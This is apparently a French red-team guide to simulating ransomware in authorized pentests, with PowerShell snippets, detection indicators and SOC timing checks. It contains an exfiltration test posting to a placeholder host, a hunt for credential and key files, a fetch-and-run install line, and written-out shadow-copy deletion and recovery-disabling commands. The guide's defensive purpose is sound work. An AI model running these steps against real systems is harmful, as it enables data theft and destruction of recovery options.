Simulation Ransomware — Red Team
Simuler un ransomware en pentest : chiffrement, propagation, indicateurs, défenses
Objectifs d'une simulation ransomware
- Tester la détection (EDR, SIEM) avant qu'un vrai malware ne passe
- Évaluer la vitesse de réponse du SOC (MTTD — Mean Time to Detect / MTTR — Mean Time to Respond)
- Valider les procédures de backup et recovery (RTO/RPO réels vs théoriques)
- Identifier les chemins de propagation dans l'infrastructure (partages, GPO, PsExec)
- Tester le DLP : détecter l'exfiltration de données avant chiffrement
Phases d'une attaque ransomware réelle
| Phase | Vecteur / Technique | Durée typique | |-------|--------------------|--------------:| | Initial Access | Phishing, vuln web, RDP exposé (3389), credential stuffing | Jour J | | Persistence | Tâches planifiées, clés Run, service malveillant | Jour J | | Lateral Movement | Mimikatz, pass-the-hash, GPO abuse, PsExec | J+1 à J+14 | | Privilege Escalation | Local admin → Domain Admin via LAPS, Kerberoast | J+1 à J+7 | | Data Exfiltration | Rclone → Mega/S3 contrôlé ("double extortion") | J+7 à J+20 | | Deployment | GPO, PsExec, WMIC pour distribuer le binaire | Minutes | | Encryption | Chiffrement des fichiers + suppression VSS | Minutes à heures |
La phase de dwell time (séjour discret) est de 9 à 21 jours en moyenne avant le chiffrement.
Simulation contrôlée — environnement isolé uniquement
# Créer un répertoire de test isolé avec des fichiers canary$testDir = "C:\RansomwareSimTest"New-Item -ItemType Directory -Path $testDir -Force# Générer 100 fichiers de test variés1..100 | ForEach-Object {"contenu de test - fichier $_ - $(Get-Date)" | Out-File "$testDir\document$_.txt"}1..20 | ForEach-Object {"données financières simulées $_" | Out-File "$testDir\finance$_.xlsx"}# Simuler le chiffrement AES (SANS lancer sur des données réelles)# Ceci est uniquement un exemple de code de simulationAdd-Type -AssemblyName System.Security$aes = [System.Security.Cryptography.Aes]::Create()$aes.GenerateKey()$aes.GenerateIV()# → dans un vrai test : chiffrer uniquement les fichiers dans $testDir# → JAMAIS en dehors du répertoire isolé# Simuler la note de rançon"YOUR FILES HAVE BEEN ENCRYPTED - SIMULATION ONLY" | Out-File "$testDir\README_SIMULATION.txt"# Nettoyage post-testRemove-Item -Recurse -Force $testDir
Outils de simulation autorisés
# Atomic Red Team — MITRE ATT&CK T1486 (Data Encrypted for Impact)# InstallationIEX(IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)Install-AtomicRedTeam -getAtomics# Lancer le test T1486 (simulation chiffrement)Invoke-AtomicTest T1486 -ShowDetails # voir ce que le test faitInvoke-AtomicTest T1486 -TestNumbers 1 # exécuter uniquement sur les fichiers de testInvoke-AtomicTest T1486 -Cleanup # nettoyer après test
# RanSim (KnowBe4) — simule 25 familles de ransomware sans chiffrement réel# Télécharger : https://www.knowbe4.com/ransomware-simulator# Lancer : RanSim.exe# → rapport HTML avec les familles détectées / bloquées vs passées# Canary tokens — fichiers piège (canarytokens.org)# Générer un token de type "Word Document" ou "Excel File"# Placer dans les répertoires sensibles → alerte email si ouvert/modifié/chiffré
Simulation propagation — reconnaissance sans déploiement
# Énumérer les partages réseau accessibles depuis le compte compromisImport-Module PowerViewInvoke-ShareFinder -CheckShareAccess | Out-File C:\Temp\shares.txtGet-NetShare -ComputerName {{TARGET}} # partages d'une machine spécifique# Identifier les GPO exploitables pour le déploiementGet-GPO -All | Where-Object { $_.GpoStatus -eq "AllSettingsEnabled" } |Select-Object DisplayName, Id, CreationTime# Lister les machines joignables via PsExec (admin share accessible)Invoke-SMBScanner -ComputerName (Get-ADComputer -Filter *).Name |Where-Object { $_.IsAdmin -eq $true }# Estimer le blast radius — volume de données accessibleGet-ChildItem -Path \\fileserver\shares -Recurse -ErrorAction SilentlyContinue |Measure-Object -Property Length -Sum |Select-Object @{n="TotalGB";e={[math]::Round($_.Sum/1GB,2)}}
Simulation exfiltration (DLP testing)
# Identifier les données sensibles accessibles depuis le compte compromisGet-ChildItem -Path C:\, \\fileserver\ -Recurse -ErrorAction SilentlyContinue `-Include *.xlsx, *.docx, *.pdf, *.kdbx, *.pst, *.pfx, *.p12, *.key |Select-Object FullName, Length, LastWriteTime |Export-Csv C:\Temp\sensitive_files.csv# Simuler une exfiltration HTTP (vers un serveur de test contrôlé)# NE PAS exfiltrer de vraies données hors du scopeInvoke-WebRequest -Uri "http://{{LHOST}}/exfil-test" `-Method POST -Body "simulation_ransomware_exfil_test" -UseBasicParsing# Tester la détection DNS exfiltration# nslookup simulation-test.{{LHOST}}
Indicateurs de détection (IOC) à valider
| Indicateur | Source | Event ID / Règle |
|-----------|--------|-----------------|
| Création massive de fichiers .encrypted / .locked | EDR file events | Sysmon Event 11 — burst > 100/min |
| vssadmin delete shadows /all /quiet | Process creation | Event 4688 / Sysmon Event 1 |
| wmic shadowcopy delete | Process creation | Event 4688 |
| bcdedit /set {default} recoveryenabled No | Process creation | Event 4688 |
| Accès à lsass.exe → credential dump pré-déploiement | Sysmon Event 10 | Event 4656 |
| Installation service PsExec (lateral movement) | System log | Event 7045 |
| Connexion SMB massive vers partages réseau | Network events | EventID 5140 — burst |
| Rclone / MEGAcmd vers stockage cloud externe | DNS / proxy | Détection DLP flux sortants |
| Modification MBR / commandes bootrec | Sysmon Event 11 | Intégrité MBR |
| Volume chiffrement > 100 fichiers/minute | EDR behavioral | Règle comportementale |
# Vérifier les Shadow Copies existantes (avant simulation)vssadmin list shadows# Tester si la suppression VSS est détectée (commande seule, sans exécution)# → vssadmin delete shadows /all /quiet# Valider dans le SIEM : Event 4688 avec CommandLine contenant "vssadmin"
Script de validation SOC
# Séquence de commandes à dérouler pour mesurer le MTTD du SOC# Chronométrer entre l'exécution et le premier contact du SOC$startTime = Get-Date# 1. Énumération AD (T1018 - Remote System Discovery)Get-ADComputer -Filter * | Select-Object Name | Out-File C:\Temp\computers.txt# 2. Credential access simulé (T1003 - OS Credential Dumping)# Accès au handle lsass (sans dump réel — déclenche l'alerte)$lsass = Get-Process lsassWrite-Output "LSASS PID: $($lsass.Id) - simulation only"# 3. Lateral movement simulé (T1021 - Remote Services)Test-NetConnection -ComputerName {{TARGET}} -Port 445 # SMB check# 4. Marquer la fin pour calcul MTTDWrite-Output "Simulation started at: $startTime"Write-Output "Waiting for SOC response..."
Ne jamais lancer une vraie routine de chiffrement en pentest — utiliser uniquement des outils de simulation (Atomic Red Team T1486, RanSim) sur des données de test isolées dans un répertoire dédié. Une simulation mal contrôlée peut provoquer une perte de données irréversible sur des systèmes de production. Obtenir une autorisation écrite explicite mentionnant "simulation ransomware" avec périmètre exact avant tout test.
La majorité des ransomwares modernes (LockBit, BlackCat, Royal) exfiltrent les données AVANT de chiffrer — "double extortion". Valider les capacités de détection DLP et les flux réseau sortants (DNS, HTTP/S vers des domaines cloud inconnus, rclone) est aussi critique que la détection du chiffrement. Un SOC qui ne détecte pas l'exfiltration laissera passer la menace réelle même s'il bloque le chiffrement.